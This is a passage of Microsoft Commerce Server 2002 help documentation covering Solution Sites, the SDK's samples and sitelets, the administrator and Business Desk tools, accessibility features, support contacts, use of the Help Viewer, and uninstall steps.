  • Data Warehouse Site. The Data Warehouse Configurator uses this site, which contains a version of the Commerce Server Business Desk application that only includes the Analysis and Security modules. The Data Warehouse site (DW.pup) is installed with Commerce Server 2002.
  • Retail site. You can use this Solution Site as a starting point for building a business-to-consumer site. It includes business-to-consumer functionality for personalization, merchandising, catalog search, customer service, and business analytics. It includes the Customer Service, which enables users to manage their own profile information and to view their order status. The Retail site is available at http://go.microsoft.com/fwlink/?linkid=6491.
  • Supplier site. You can use this Solution Site as a starting point for building a business-to-business site. It uses Active Directory in Microsoft Windows 2000 to provide secure user authentication and group access permissions. It provides purchase order and requisition handling, XML-based catalog updates and exchange, and trading partner self-service. It includes the Partner Service, which enables a delegated administrator (a contact at a supplier company) to manage organizational information, purchase orders, and order status for that supplier company. The Supplier site is available at http://go.microsoft.com/fwlink/?linkid=6491.

Note

  • You must grant the ASPNET user permissions to access Commerce Server databases when you build custom Commerce Server sites Microsoft Visual Basic .NET or Microsoft C# (VB.pup or Csharp.pup) Solution Sites.

Retail2002: An International .NET-Based Retail Site

The International Retail site is a technology preview of a multilingual, multicurrency business-to-consumer and business-to-business Web site.

The International Retail site demonstrates a Commerce Server 2002 site built using ASP.NET and managed code. Much of the functionality of the site is contained in compiled assemblies and controls that inherit from the classes in those assemblies.

The International Retail site supports multilingual catalogs and demonstrates using .NET CultureInfo data to control how the site displays text and currency. The architecture of the site is designed to manage text and images for multiple cultures. For example, the site can differentiate between French (France) and French Canadian content. It can provide the correct currency, currency symbol, and delimiters for each while using the same French content translation.

The International Retail site is available in the Microsoft Commerce Server 2002\SDK folder. For setup instructions, see Deploying the International Retail Site (Retail2002).

Commerce Server .NET Application Framework

The Commerce Server .NET Application Framework enables you to create .NET-based Commerce Server applications using the new features of the .NET Framework. The Commerce Server .NET Application Framework provides two new layers to the Commerce Server platform: the Base Class Library and the Common Language Runtime Interop Layer. These layers allow ASP.NET code to run Commerce Server services and systems. Using Visual Studio .NET, you can access Commerce Server features and tools to build Commerce Server applications.

The Software Development Kit (SDK) includes the following four sitelets that you can use with the .NET Application Framework:

  • Advertising Sitelet
  • Catalog Sitelet
  • Profile Sitelet
  • Order Sitelet

The .NET Framework sitelets are available in Program Files\Microsoft Commerce Server 2002\SDK\Samples\WebForms. In addition, the SDK includes the following seven sitelets that you can use with standard COM applications:

  • Advertising Sitelet
  • Auction Sitelet
  • Catalog Sitelet
  • Discount Sitelet
  • Order Sitelet
  • Passport Sitelet
  • Profile Sitelet

The COM sitelets are available in Program Files\Microsoft Commerce Server 2002\SDK\Samples\Sitelets. For more information, see Commerce Server .NET Application Framework.

Commerce Server Developer Portal

The Developer Portal is suite of Commerce Server tools integrated with Visual Studio .NET, the Developer Portal includes a project creation wizard that enables developers to create Commerce Server projects from the Visual Studio .NET environment, and schema designers to create profiling and product catalog systems that are hosted in the Visual Studio .NET environment.

For more information, see Using the Developer Portal.

Commerce Server SDK

The Commerce Server SDK includes header files, sample code, sitelets, and tools for developing e-commerce solutions with Commerce Server 2002.

Header Files

Sample Code

Sitelets

Tools

Header Files

The Include folder of the SDK contains the header and Interface Description Language (IDL) files required to use and extend the services provided by Commerce Server 2002 in Microsoft Visual C++.

Sample Code

The following is a partial list of the sample code provided in the SDK:

  • Administration Samples. A reference for creating Commerce Server 2002 resources, integrating with and extending Commerce Server Manager, building custom Commerce Server Site Packager components, and building custom Commerce Server Business Desk modules.
  • Business Desk Module Framework. A working code base from which to develop new Business Desk modules. This code base demonstrates how to use XML data-islands, and includes the Business Desk widgets for creating a rich, Web-based user interface (UI) to allow for non-technical administration of your Commerce Server site. This sample provides you with an Edit page for implementing the Edit widget, a List page for implementing the List widget, and a Response page for handling requests from the Business Desk UI.
  • Business Desk Installer. A simple COM component that demonstrates how to use the Administration API in conjunction with the Internet Information Services (IIS) 5.0 metabase, and how to use the Microsoft Extensible Markup Language (MSXML) parser to install new Business Desk modules into an existing Business Desk.
  • Custom Site Packager Component. A component that demonstrates how to package and unpack data specific to the site resources that you create in a Commerce Site Package during the packaging/unpacking process. The Custom Site Packager component is a Microsoft Visual Basic ActiveX dynamic-link library (DLL) that implements the IPuP interface (required for Custom Site Packager components), packages data stored in a Microsoft SQL Server database, and unpacks the data into a specified site.
  • Data Warehouse Schema Browser. A schema browser you use to view Commerce Server Data Warehouse classes, class properties, data members, and class relationships as they are defined in the logical schema. This sample demonstrates how to use the Commerce Server OLE DB provider to access the logical schema of the Data Warehouse.
  • CSF Score Headlines. A sample that demonstrates how to extend the Targeting System using custom Content Selection Framework (CSF) Cache Loading and Scoring components. The CSF Score Headlines sample is based on the premise that you want to target headlines to users of your site based on the age of the headline and what headlines have been seen the most. It demonstrates integration with the Targeting System using both Microsoft Visual C++ and Microsoft Visual Basic.
  • CSF Debug Utils. A set of Active Server Pages (ASP) that you include in your scripts to dump the contents of a CSF cache and to trace the scoring logic applied for any given content request. The CSF Score Headlines sample demonstrates how to use these debugging utilities.
  • CSF DB Utils. A set of SQL scripts that purge the CSF, Expression Evaluator, and List Manager databases of all content.

Sitelets

In addition to the traditional code samples provided in the Commerce Server 2002 SDK, small scale Commerce Server 2002 sites (referred to as "sitelets") are also included. The sitelets demonstrate how to use the API sets from ASP pages, without integrating them with the rest of the run-time services for Commerce Server 2002. Run the sitelets to help you isolate and understand the APIs for a particular feature, without manually filtering extraneous code unrelated to the task you want to perform. The Commerce Server 2002 SDK provides the following sitelets:

  • Advertising Sitelet. Demonstrates how to use the Profiling System in combination with the Targeting System to display targeted advertisements. Available for both .NET Application Framework and COM.
  • Auction Sitelet. Demonstrates how to use the Auction component to implement Winning Bid auctions. It includes a custom Business Desk module designed for managing auctions. Available for COM.
  • Catalog Sitelet. Demonstrates how to use the Product Catalog System to offer catalog browse and search functionality on your e-commerce site. Available for both .NET Application Framework and COM.
  • Discount Sitelet. Demonstrates how to leverage targeted discounts in the order capture process on your Web site. Available for COM.
  • Order Sitelet. Demonstrates how to use Commerce Server to implement an order capture process on your Web site. Available for both .NET Application Framework and COM.
  • Passport Sitelet. Demonstrates how to integrate Passport single sign-on capability with the Profiling System. With this capability, you and your users can benefit from a single sign-on authentication service, while still being able to use the Profiling System for targeting users, managing user data, and so on. Available for COM.
  • Profile Sitelet. Demonstrates how to use the Profiling System to register and authenticate users on your e-commerce site. Available for both .NET Application Framework and COM.

The COM versions of the sitelets are located in Program Files\Microsoft Commerce Server 2002\SDK\Samples\Sitelets. The .NET Framework version of the sitelets are located in Program Files\Microsoft Commerce Server 2002\SDK\Samples\WebForms.

Tools

The Commerce Server 2002 SDK includes a set of tools to help you simplify and speed up the development process for building sites run by Commerce Server 2002, building products that integrate with Commerce Server 2002, and building add-on components for Commerce Server 2002.

  • Pipeline Component Wizard for Visual Basic. This tool provides Visual Basic developers with a release and deployment (RAD) environment for building Business Processing Pipeline components. To install the Pipeline Component Wizard for Visual Basic, register the PipelineCompWizard.dll file in the VB Pipe Wizard folder of the SDK Tools. For example, C:\Program Files\Microsoft Commerce Server\SDK\Tools\VB Pipe Wizard.
  • Pipeline Component Wizard for Visual C++. This tool consists of a group of files that you add to your Microsoft Visual C++ 6.0 installation to automate the creation of Commerce Server pipeline components. The Pipeline Component Wizard creates the object definition and implementation files that contain the function prototypes for all of the interfaces that you need to implement to create a fully functional pipeline component. In addition, the Pipeline Component Wizard creates a property page for your project, in which you add the controls through which users set component properties.
  • Pipeline Component Registration Tool. This tool helps you register pipeline components for stage affinity. You register the pipeline component on the computer in which the tool is being run and you can export the data to a Registry Script (.reg) file for deployment to other servers. The Pipeline Component Registration Tool is located in the Registration Tool folder of the SDK. For example, C:\Program Files\Microsoft Commerce Server\SDK\Tools\Registration Tool.

Developer's Documentation

Commerce Server 2002 Help provides detailed documentation that explains how to customize Commerce Server 2002. For example, the documentation includes instructions for:

  • Developing an International Site
  • Building Business Desk Modules
  • Building Pipeline Components
  • Extending the Data Warehouse
  • Extending the Content Selection Framework
  • Integrating with BizTalk Server

In addition, for each of the Commerce Server 2002 objects, Commerce Server 2002 Help includes example code.

To install updates to Commerce Server 2002 Help, go to http://go.microsoft.com/fwlink/?LinkId=6724.

Commerce Server 2000 Resource Kit

The Microsoft Commerce Server 2000 Resource Kit provides detailed information about developing e-commerce solutions with Commerce Server 2000. It is not specific to Commerce Server 2002 Enterprise Edition. The resource kit is available from Microsoft Press.

The Commerce Server 2000 Resource Kit includes information about the following topics:

  • Implementing identification and authentication
  • Extending the Business Analytics System
  • Implementing complex pricing schemes
  • Developing with the Profiling System
  • Modifying order processing
  • Integrating with SAP
  • Integrating with J.D. Edwards OneWorld
  • Testing your site
  • Maximizing performance

White papers

White papers are written by Microsoft consultants, software development engineers, and system integrators. White papers highlight specific development and site infrastructure issues and provide detailed information that may not be included in the product documentation.

For a list of white papers available about Commerce Server, see http://go.microsoft.com/fwlink/?LinkId=6274.

Knowledge Base Articles

Knowledge Base (KB) articles are written by Microsoft Support Engineers. KB articles provide details about troubleshooting and resolving specific technical issues.

For more information about Microsoft Knowledge Base articles, see http://go.microsoft.com/fwlink/?LinkId=5166.

See Also

Using Site Packager

Programmer's Reference


System Administrator Tools

Commerce Server includes two tools for system administrators: Commerce Server Manager and Commerce Server Site Packager. System administrators use these tools to deploy and manage resources, sites, applications, and Web servers.

Commerce Server Manager

You use Commerce Server Manager to manage and configure Commerce Server 2002 resources, sites, applications, and Web servers. The Microsoft Management Console (MMC), a Windows-based interface that is included in Microsoft Windows 2000, hosts Commerce Server Manager.

Commerce Server Manager provides a common framework for managing Web sites within a single, integrated interface. The functionality in Commerce Server Manager is not available through either Web-based or command line administration. Instead, most of this functionality is accessed and manipulated through COM objects, so it is possible for you to write a Windows Script Host (WSH) script or an ASP page to extend the administration environment. For information about Commerce Server Manager, see Administering Commerce Server.

Note

  • You cannot use Commerce Server Manager to manage Site Server 3.0 or Site Server 3.0, Commerce Edition (SSCE). For information about migrating a site from Site Server, see Upgrading from Site Server 3.0.

Commerce Server Site Packager

Site Packager is a deployment tool that you use to package your site and its applications and resources into a single file, and then move that file to another environment. You use it to package your Commerce Server site (including the IIS metabase settings), file system, resources from the Administration database, and SQL Server databases into a single file. You also use it to unpack the Commerce Server 2002 site (or portions of it) onto other computers.

For example, after developing or updating your site, you can use Site Packager to package and move your site from your development environment to your test environment, and then finally to your production environment.

In most cases, Site Packager is used for the initial deployment of your site. For future deployments, incremental updates, and rollbacks, use other tools such as Microsoft Application Center 2000 or other content management products. For information about Commerce Server Site Packager, see Using Site Packager.

See Also

Administering Commerce Server

Using Site Packager

Upgrading from Site Server 3.0


Business Manager Tools

Commerce Server Business Desk is an extensible tool that business managers use to manage and analyze their Web sites. For example, you use Business Desk features to update pricing information in your catalogs, target new advertisements to specific users, and then run reports to measure how these changes affect site productivity.

Business Desk is designed for business managers: people who understand business goals, strategies, and processes for creating and running a successful e-commerce Web site, but who may not have the technical knowledge for administering a server application.

Business Desk has two parts: the Business Desk application and the Business Desk client.

  • Business Desk application. The management tool you use to configure, manage, and analyze your site. Business Desk is accessible from any computer running Microsoft Internet Explorer 5.5, providing you with secure remote access.

    Business Desk applications are provided in Solution Site packages. After you install Commerce Server, you must unpack a Solution Site to install a Business Desk application. If you have an existing site, and you want to use Business Desk to manage it, you must unpack a Solution Site to get the Business Desk application, and then modify the application.

    Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

  • Business Desk client. The client software that is installed locally on your computer, providing the interface to the Business Desk application. When you first access the Business Desk application (via a URL), the Business Desk client is downloaded and installed onto your computer. It is recommended that the computer on which you run the Business Desk client have a high-speed connection to the Business Desk application.


Accessibility for People with Disabilities

Microsoft is committed to making its products and services easier for everyone to use. This section provides information about features that make Commerce Server 2002 more accessible to people with disabilities.

To learn about… | See…
Using your keyboard to navigate within the Help Viewer | Help Viewer Keyboard Shortcuts
The keyboard shortcuts used most frequently within Commerce Server Business Desk | Using Keyboard Shortcuts

This section contains:

  • Microsoft Windows 2000 Server Accessibility Features
  • For Additional Accessibility Information

Microsoft Windows 2000 Server Accessibility Features

Commerce Server 2002 supports the following accessibility features of Microsoft Windows 2000 Server. These features can be used in Commerce Server Business Desk, Commerce Server Manager, and the Pipeline Editor.

  • Magnifier. Enlarges a portion of your screen in a separate window for easier viewing.
  • Narrator. Reads information on your screen, including dialog box names, menus, entered text, and so on. Narrator provides a minimum level of accessibility so that people who are blind or who have low vision can interact with Commerce Server during configuration or emergency situations.

    Note

    • Narrator is available only with the U.S. English release of Windows 2000 Server.
  • On-Screen Keyboard. Displays a virtual keyboard so you can enter information by using a pointing device, such as a mouse or a switch input device. On-Screen Keyboard is compatible with many, but not all, keyboards and keyboard settings.

For more information about using these and other accessibility options, see "Accessibility for People with Disabilities" in the Windows 2000 Server Help.

For Additional Accessibility Information

For information about accessibility options, in Windows 2000 Help, see "Accessibility for People with Disabilities" in the Getting Started with Windows 2000 Server book.

For information about accessibility options in Microsoft SQL Server, see "Accessibility for People with Disabilities" in SQL Server Books Online.

To learn more about Microsoft products available for people with disabilities, visit http://go.microsoft.com/fwlink/?LinkId=6683. This site contains:

  • Complete information about accessibility services for Microsoft products.
  • Information about a wide variety of third-party hardware and software products that are available to make it easier to use personal computers.
  • An overview of other accessibility products, services, and resources that are available from Microsoft and other organizations.


Contacting Microsoft Technical Support

Product name: Microsoft Commerce Server 2002

Support options: Paid Professional Support

Online support: Microsoft Product Support Services Web site (http://go.microsoft.com/fwlink/?LinkId=6693)

Phone support: See additional topics in this section for telephone contact details in the United States.

Support hours: Available 24 hours a day, 7 days a week — including holidays.

International Support: For the support information for your country, see http://go.microsoft.com/fwlink/?LinkId=6694.

This section contains:

  • Commerce Server Newsgroups
  • Professional Support Options
  • Additional Support Options

Note

  • Microsoft support services are subject to Microsoft's then-current prices, terms, and conditions, which are subject to change without notice.


Commerce Server Newsgroups

Join the Commerce Server newsgroups for peer-to-peer technical support and discussion on the news server msnews.microsoft.com. Read about how others are using the product and learn more about how to maximize the security, acceleration, and management benefits of Commerce Server.

To find out how to access the Commerce Server 2002 newsgroups to receive announcements and support information, see http://go.microsoft.com/fwlink/?LinkId=945.


Professional Support Options

Professional support options provide advanced support for experts and businesses. Visit our Customized support sites for pay-per-incident assistance either online or by phone with experts trained to assist business professionals. To purchase support incidents in advance, call Professional Support Sales at (800) 936-3500. If you are calling from Canada, Professional support is available by calling (800) 805-4440 from 8:00 A.M. – 8:00 P.M. Monday – Friday, Eastern Time.

Submit your incident online:

  • Microsoft Product Support Services Web site (http://go.microsoft.com/fwlink/?LinkId=6693).

Get additional information on our support offerings:

  • Professional Support for Developers.
  • Professional Support for IT Professionals.
  • Professional Support for Resellers, Consultants.
  • Professional Support for Microsoft Certified Solution Providers.
  • Professional Support for Original Equipment Manufacturers (OEMs).

Submit your incident over the phone:

Area of expertise | Phone number
Developers | (800) 936-5800
IT Professionals | (800) 936-4900
Partners (resellers/consultants) | (888) 456-5570
Microsoft Certified Solution Providers | (888) 677-9444
Original Equipment Manufacturers | (800) 936-2197
System Builders | (888) 456-5570

Note

  • Microsoft support services are subject to Microsoft's then-current prices, terms, and conditions, which are subject to change without notice.


Additional Support Options

If the professional support offerings do not apply to you or your business, the following support options are also available and may help you locate the support service that best meets your needs.

For information about Microsoft global support, see Microsoft Help and Support at http://go.microsoft.com/fwlink/?LinkId=10224.

Premier

Premier support provides proactive access to specialized technical expertise needed by large enterprises, maximizing business value and minimizing total cost. See our customized support sites for Premier customers, or view the following fact sheets for more information:

  • Microsoft Premier Support for Enterprise Systems.
  • Microsoft Premier Support for Developers.
  • Microsoft Premier Support for Original Equipment Manufacturers (OEMs).
  • Microsoft Authorized Premier Support.

For more information, contact your Microsoft account representative or call Microsoft Enterprise Support Sales at (800) 936-3200 in the United States or Canada.

Alliance

Alliance support is designed to help very large enterprise customers to successfully develop, deploy, and manage enterprise systems built around a broad range of high-quality Microsoft solutions for the server and the desktop. See the following fact sheets for more information:

  • Microsoft Alliance Support for Enterprise Systems
  • Microsoft Alliance Support for High Availability

For more information, contact your Microsoft account representative or call Microsoft Enterprise Support Sales at (800) 936-3200 in the United States or Canada.

Microsoft Certified Support Centers

Microsoft Certified Support Centers are selected for their ability to provide high-quality support and a full range of support services for organizations using Microsoft products in all kinds of environments. Certified Support Centers provide the highest-quality service for both Microsoft products and a wide range of third-party products to ensure a cohesive, high-performance business solution.

For more information, see the Microsoft Certified Support Center at http://go.microsoft.com/fwlink/?LinkId=6709.

Note

  • Microsoft support services are subject to Microsoft's then-current prices, terms, and conditions, which are subject to change without notice.


Using Commerce Server Help

The Commerce Server 2002 Help system provides documentation for site developers, system administrators, and business managers.

Commerce Server 2002 Help is installed with Commerce Server in a compiled HTML file (it has a .chm extension). On a regular basis, Microsoft updates this file with new information based on customer feedback and questions, and posts it to http://go.microsoft.com/fwlink/?LinkId=6724 for download, replacing the previous version installed with the product.

It is recommended that you update your copy of Commerce Server 2002 Help each time a new version is released.

This section contains:

  • About Commerce Server Help. Describes the structure and contents of Commerce Server 2002 Help.
  • Commerce Server Tutorials. Lists the tutorials that are provided with Commerce Server.
  • Using the Help Viewer. Explains how to use the Help Viewer to find the information you need.
  • Searching for a Help Topic. Explains how to search for exact phrases and how to search for topics using OR, AND, NEAR, and NOT.
  • Bookmarking a Help Topic. Explains how to bookmark a help topic so you can quickly return to it.
  • Printing a Help Topic. Explains how to print one or more topics at the same time.
  • Copying a Help Topic. Explains how to copy a help topic and paste it into another document.
  • Using Language Filtering. Explains how to use language filtering to view code samples in C++ or Microsoft Visual Basic.
  • Help Viewer Keyboard Shortcuts. Lists the keyboard shortcuts for using Help Viewer.
  • Additional Resources. Lists other resources for information besides Commerce Server Help.


About Commerce Server Help

Commerce Server 2002 Help is designed so that users can quickly locate the type of information—workflow, concepts, procedures, or reference—they need to effectively manage, administer, or develop their commerce sites.

Structure of the Help System

Developer Help

Business Desk Help

Structure of the Help System

The table of contents is organized into several books, each one corresponding to a major functional area of the product. The nodes, or chapters, contained in each book correspond to major tasks that you will perform in that area, or explain key concepts or technologies that you will need to understand to complete those tasks.

The following table lists the Commerce Server books and provides a description of each one.

Book | Description | Users
Getting Started | Describes Commerce Server features, tools, and concepts. Explains how to plan your Commerce Server site and provides a link to the installation instructions. | All users of Commerce Server
Developer’s Guide | Explains how to set up your development environment, how to program with Commerce Server objects, how to customize pipelines, and how to integrate Commerce Server with other applications. | Site developers
Deploying Your Site | Explains how to use Site Packager to deploy a site that uses SQL Server or Active Directory, and how to make incremental updates to your site. Explains how to secure your site. Provides two detailed examples for installing Commerce Server on a four-computer, clustered configuration and on a three-computer, non-clustered configuration. | System administrators
Administering Commerce Server | Describes Commerce resources, sites, applications, Web servers, and the Administration database, and explains how to manage them. Explains how to manage Profiles, CS Authentication, Direct Mailer, Predictor, and Data Warehouse. Explains how to set up Commerce Server to use BizTalk Server. | System administrators
Working with Business Desk | Explains how to manage your site using Business Desk. Includes a tutorial that contains labs for learning how to manage a business-to-consumer site and a business-to-business site. | Business managers
Extending Commerce Server | Explains how to integrate a custom resource into Commerce Server, how to build new Business Desk modules, and how to build new pipeline components. Explains how to create custom reports, extend the Data Warehouse, integrate with third-party product catalogs, and integrate with Microsoft Passport. | Site developers
Programmer's Reference | Provides extensive reference material about the COM components that serve various functions within Commerce Server. | Site developers
Troubleshooting Commerce Server | Describes symptoms and solutions for problems you may encounter using Commerce Server. | System administrators and site developers
Glossary | Defines common terms used throughout Commerce Server. | All users of Commerce Server

Within each book, you will find nodes that contain the following types of information:

  • Workflow diagrams. The documentation for each Business Desk category contains a figure illustrating the key tasks performed in that functional area, with links to the task topics that provide step-by-step instructions for completing each one.
  • Getting Started. Getting Started nodes appear for both Commerce Server and for Business Desk.
  • Basics topics. These topics describe common tasks and provide navigational information for using Business Desk, Commerce Server Manager, and pipelines.
  • Concepts. In the Business Desk topics and elsewhere, titles beginning with "About" indicate topics that explain key concepts for successfully using Commerce Server and its components.
  • Tasks. Task topics provide step-by-step instructions for completing the tasks shown in the workflow.

Developer Help

To assist you in finding only the information that is relevant to your programming environment, Commerce Server 2002 Help implements a language-filtering tool. On the title bar in topics contained in the Programmer's Reference, you will find a filter button that provides a language menu. Using this menu, you can choose to view documentation tailored either to Visual C++ or to Visual Basic. After you select a language, that selection remains in effect while viewing subsequent pages.

In addition to Help, see the following for developer information:

  • Commerce Server Software Development Kit (SDK). Includes code samples and documentation for developing e-commerce solutions with Commerce Server. For example, it explains how to develop code for related sells (up-sells, cross-sells, and inventory sells). The SDK is installed with Commerce Server 2002.

    To access the SDK, click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Software Development Kit.

  • Commerce Server 2000 Resource Kit. Provides detailed information about how to plan, develop, deploy, scale, and optimize your Commerce Server installation. The Commerce Server 2000 Resource Kit is published by Microsoft Press.

Business Desk Help

The Business Desk Help system is a subset of the Commerce Server 2002 Help system. Business Desk users have access to the help contained in the book, "Working with Business Desk," but they do not have access to the other Commerce Server books from their client computer.

To access help from the Business Desk, click Business Desk Help Icon on the toolbar.


Commerce Server Tutorials

Commerce Server includes the following tutorials:

  • Commerce Server .NET Application Framework Tutorial.
  • Predictor Resource Tutorial.
  • Direct Mailer Tutorial.
  • Business Desk Business-to-Consumer Tutorial.
  • Business Desk Business-to-Business Tutorial.
  • Exploring the International Retail Site.


Using the Help Viewer

The Commerce Server 2002 Help system uses HTML to format and display information. The Help Viewer provides a table of contents, an index, and a full-text search feature so that you can find information easily. Book icons open to reveal sub-books and topics.

To expand the table of contents and view topics within a book, click the expand indicator (+) next to a book title. When you click the collapse indicator (-), the topics are hidden. Using the Help Viewer, you are able to see the table of contents, index, or search results at the same time you are viewing a Help topic.

The Help Viewer also includes a Favorites tab, which you can use to bookmark topics. This enables you to quickly display topics that you refer to often.

To learn more about Commerce Server, you can use the table of contents to browse through the documentation. When you click a topic in the table of contents, information is displayed in the content pane of the Help window.

In the Help Viewer, the following browse and search options are available:

  • Contents tab
    1. To browse the table of contents, click the Contents tab. Double-click the book icons to reveal topic entries and sub-books.
    2. Click a table-of-contents entry to display the corresponding topic.
  • Index tab
    1. To see a list of index entries, click the Index tab, and then either type a word or scroll through the list. Topics are often indexed under more than one entry.
    2. Double-click an index entry to display the corresponding topic.
  • Search tab
    1. To locate every occurrence of a word or phrase, click the Search tab, type the word or phrase for which you want to search, and then click List Topics. To make your search results more specific, you can combine multiple words or phrases with AND, OR, NEAR, or NOT.
    2. Double-click a search results entry to display the corresponding topic.

    For more information about searching for a topic, see Searching for a Help Topic.

  • Favorites tab
    1. To bookmark a topic, use the Contents, Index, or Search tabs to locate and then display a topic.
    2. Click the Favorites tab, and click Add to save the topic title to the Topics list.
    3. Double-click a bookmark in the Topics list to quickly display the topic.

See Also

Searching for a Help Topic

Bookmarking a Help Topic

Printing a Help Topic

Copying a Help Topic

Using Language Filtering

Help Viewer Keyboard Shortcuts


Searching for a Help Topic

  1. To locate every occurrence of a word or phrase, click the Search tab, type the word, and then click List Topics.
  2. To search for a specific phrase, surround the phrase in quotes, for example "the computer and monitor" finds topics that contain the exact phrase the computer and monitor.
  3. To make your search results more specific, you can combine multiple words or phrases with AND, OR, NEAR, or NOT.

    For example:

    • Searching for computer and monitor finds topics that contain both computer and monitor.
    • Searching for computer or monitor finds topics that contain computer or contain monitor.
    • Searching for computer near monitor finds topics that contain both computer and monitor in close proximity to each other.
    • Searching for computer not monitor finds topics that contain the keyword computer but do not contain the keyword monitor.
  4. Double-click a search results entry to display the corresponding topic.

See Also

Bookmarking a Help Topic

Printing a Help Topic

Copying a Help Topic

Using Language Filtering

Help Viewer Keyboard Shortcuts


Bookmarking a Help Topic

  1. Use the Contents, Index, or Search tab to locate and then display the topic you want to bookmark.
  2. Click the Favorites tab, and then click Add.

The Help Viewer adds the topic title to the Topics list. Later, you can return to this list and double-click the bookmark to quickly display the topic.

Notes

  • You can create a list of frequently visited Help topics.
  • To remove a bookmark from the Topics list, click the bookmark, and then click Remove.

See Also

Searching for a Help Topic

Printing a Help Topic

Copying a Help Topic

Using Language Filtering

Help Viewer Keyboard Shortcuts


Printing a Help Topic

  • Right-click the topic you want to print, and then click Print.
  • To print a pop-up topic, right-click inside the pop-up window, and then click Print.
  • To print all topics within a book, on the Contents tab, select the book. On the Help toolbar, click Options, click Print, and then click Print the selected heading and all subtopics.

Notes

  • If you print a section with multiple topics that contain multiple illustrations, the illustrations will not print.
  • Printing code samples and large illustrations could result in incomplete printing. If a line of code is very long or an illustration is very large, the right edge of the code or illustration might extend beyond the margin boundary and will not print.

See Also

Bookmarking a Help Topic

Searching for a Help Topic

Copying a Help Topic

Using Language Filtering

Help Viewer Keyboard Shortcuts


Copying a Help Topic

  1. In the topic pane of the Help Viewer, right-click inside the topic you want to copy, and then click Select All.
  2. Inside the topic, right-click again, and then click Copy.
  3. Open the document to which you want to copy the topic.
  4. Click the place in your document where you want the information to appear.
  5. On the Edit menu, click Paste.

Notes

  • If you want to copy only part of a topic, select the part you want to copy, right-click the selection, and then click Copy.
  • Step numbers are not copied to the Clipboard.

See Also

Printing a Help Topic

Bookmarking a Help Topic

Searching for a Help Topic

Using Language Filtering

Help Viewer Keyboard Shortcuts


Using Language Filtering

To assist you in finding only the information that is relevant to your programming environment, Commerce Server Help implements a language-filtering tool. On the title bar in topics contained in the Programmer's Reference, you will find a filter button that provides a language menu. Using this menu, you can choose to view documentation tailored either to Visual C++, Visual Basic, C#, or Visual Basic .NET depending on the page content. After you select a language, that selection remains in effect while viewing subsequent pages.

To view the language-filtering options, click the filter button on the title bar, and then click one of the following options:

  • C++
  • Visual Basic
  • C#
  • Visual Basic .NET

See Also

Printing a Help Topic

Bookmarking a Help Topic

Searching for a Help Topic

Help Viewer Keyboard Shortcuts

Copying a Help Topic

Additional Resources


Help Viewer Keyboard Shortcuts

If your mouse is unavailable or if you prefer using your keyboard, you can use the following keyboard commands to navigate within the Help Viewer.

Help Viewer keyboard shortcuts

Press | To
ALT+SPACEBAR | Display the system menu.
SHIFT+F10 Display the Help Viewer shortcut menu.

Note

  • Use this shortcut when the focus is in the topic pane.
ALT+TAB | Switch between the Help Viewer and other open windows.
ALT+O | Display the Options menu.
ALT+O, and then press T | Hide or show the navigation pane.
CTRL+TAB | Switch to the next tab in the navigation pane.
CTRL+SHIFT+TAB | Switch to the previous tab in the navigation pane.
UP ARROW | Move up one topic in the table of contents, index, or search results list.
DOWN ARROW | Move down one topic in the table of contents, index, or search results list.
PAGE UP | Move up one page in the table of contents, index, or search results list.
PAGE DOWN | Move down one page in the table of contents, index, or search results list.
F6 | Switch focus between the navigation pane and the topic pane.
ALT+O, and then press R | Refresh the topic that appears in the topic pane.
UP ARROW or DOWN ARROW | Scroll through a topic.
CTRL+HOME | Move to the beginning of a topic.
CTRL+END | Move to the end of a topic.
CTRL+A | Highlight all text in the topic pane.
ALT+O, and then press P | Print a topic.
ALT+O, and then press B | Move back to the previously viewed topic.
ALT+O, and then press F | Move forward to the next (previously viewed) topic.
ALT+F4 | Close the Help Viewer.

Contents tab keyboard shortcuts

Press | To
ALT+C | Display the Contents tab.
RIGHT ARROW | Open a book.
LEFT ARROW | Close a book.
BACKSPACE | Return to the previous open book.
UP ARROW or DOWN ARROW | Select a topic.
ENTER | Display the selected topic.

Index tab keyboard shortcuts

Press | To
ALT+N | Display the Index tab.
UP ARROW or DOWN ARROW | Select a keyword in the list.
ALT+D or ENTER | Display the associated topic.

Search tab keyboard shortcuts

Press | To
ALT+S | Display the Search tab.
ALT+L | Start a search.
ALT+D or ENTER | Display the selected topic.

Favorites tab keyboard shortcuts

Press | To
ALT+I | Display the Favorites tab.
ALT+A | Add a topic to the Topics list.
ALT+P Select a topic in the Topics list.

Note

  • Use this shortcut when the focus is in the topic pane and you want to move to the Topics list.
ALT+R | Remove a topic from the Topics list.
ALT+D | Display a topic from the Topics list.

See Also

Printing a Help Topic

Bookmarking a Help Topic

Searching for a Help Topic

Using Language Filtering

Copying a Help Topic


Additional Resources

In addition to the Commerce Server 2002 Help system, you can find information from the following sources:

  • Software Development Kit (SDK), located in the Program Files\Microsoft Commerce Server\SDK folder.
  • Commerce Server Resource Kit, available as a printed book from Microsoft Press.
  • Commerce Server Web Site.


Installing Commerce Server 2002

For instructions on installing Commerce Server, see the Commerce Server 2002 Installation Guide.

You must install the Commerce Server Business Desk client for all computers from which you want to access Business Desk, including the computer running Commerce Server. After you unpack a site, you can install the Business Desk client by connecting to the Uniform Resource Locator (URL) for the Business Desk application.

Business managers can also download and install the Business Desk client. For information about installing the Business Desk Client, see the Commerce Server 2002 Installation Guide.


Uninstalling Commerce Server

This section provides information on how to uninstall Commerce Server 2002 and the Business Desk client. For instructions on installing Commerce Server, see the Commerce Server 2002 Installation Guide.

This section contains:

  • Uninstalling Commerce Server 2002. Explains how to uninstall Commerce Server 2002, Commerce Server databases, site virtual directories, and site folders and files.
  • Uninstalling the Business Desk Client. Explains how to uninstall the Business Desk client.


Uninstalling Commerce Server 2002

To uninstall Commerce Server 2002, you must perform the following steps in the order shown. Detailed instructions for each step follow:

  • Step 1: Remove the Commerce Server 2002 Solution Sites. Perform this step to remove the Blank site, or other Solution Sites you may have downloaded from http://go.microsoft.com/fwlink/?LinkId=6767. This step removes the Solutions Sites from the Microsoft Commerce Server\PuP Packages folder so you cannot unpack these sites again. It does not remove the unpacked Solution Sites.
  • Step 2: Remove the Commerce Server 2002 platform. Perform this step to remove the Commerce Server runtime objects, administration tools, Predictor global resource, and Direct Mailer global resource.
  • Step 3: Delete the Commerce Server 2002 installation folder.
  • Step 4: Delete the Commerce Server 2002 databases, for example, the Administration database, Data Warehouse database, Profiles database, and Catalogs database.
  • Step 5: Delete the Commerce Server 2002 Analysis server databases.
